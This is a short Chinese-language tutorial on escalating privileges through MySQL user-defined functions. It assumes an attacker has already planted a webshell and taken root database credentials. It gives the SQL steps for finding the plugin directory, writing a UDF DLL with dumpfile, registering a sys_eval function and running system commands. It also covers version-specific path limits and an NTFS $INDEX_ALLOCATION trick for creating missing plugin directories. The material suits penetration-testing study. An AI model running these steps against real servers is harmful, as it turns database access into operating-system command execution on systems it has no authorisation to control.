MySQL UDF提權 過程及注意事項
0x00
udf = ‘user defined function’,即‘用戶自定義函數’。是通過添加新函數,對MYSQL的功能進行擴充,性質就象使用本地MYSQL函數如abs()或concat()。udf在mysql5.1以后的版本中,存在
思路
當獲得webshell后發現權限比較低,但是在inc文件中拿到數據庫的用戶是root的情況下
1、選擇udf提權,查看插件目錄
SHOW VARIABLES LIKE '%plugins%'
2、dumpfile寫入文件到插件目錄
3、導入提權函數
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
4、通過函數執行系統命令
SELECT sys_eval('whoami');
注意
1️⃣ 如果導出文件時MySQL安裝目錄下沒有 lib/plugin (插件文件夾)那么則需要開啟以下選項才能利用文件流創建目錄
2️⃣ 版本<mysql 5.0 時 udf的限制比較松,可以使用絕對路徑的UDF,比如
create function cmdshell returns string soname ‘c:/test/udf.dll’
3️⃣ 版本<mysql 5.1並且>mysql 5.0 這時候對於udf的限制比較苛刻了,udf的路徑必須放置在c:\windows\system32目錄中或者mysql的插件目錄中。(插件目錄可以使用select @@plugin_dir命令來獲得)注意:不一定這個目錄一定存在
4️⃣ 版本>mysql 5.1 時候對udf的限制最為嚴格,這時候的udf必須放置在插件目錄中。但是默認安裝的mysql並沒有lib\plugin目錄,在我們沒有webshell不能創建目錄的情況下或者是webshell沒有權限創建目錄的情況下,我們需要mysql能夠為我們創建一個目錄。而mysql本身不具備創建目錄的功能,這時候很多人就放棄了,其實我們結合ntfs的特性可以實現用mysql實現創建文件夾。
假設我們的插件目錄是c:\mysql\lib\plugin這時候lib和plugin目錄是不存在的,這時候我們用兩個mysql語句就能實現創建文件夾
select 'xxx' into dumpfile 'C:\MySQL\lib::$INDEX_ALLOCATION';
select 'xxx' into dumpfile 'C:\MySQL\lib\plugin::$INDEX_ALLOCATION';
這時候會報錯ERROR 3 (HY000): Error writing file 'C:\MySQL\lib::$INDEX_ALLOCATION' (Errcode: 22)這個不用擔心,目錄已經創建了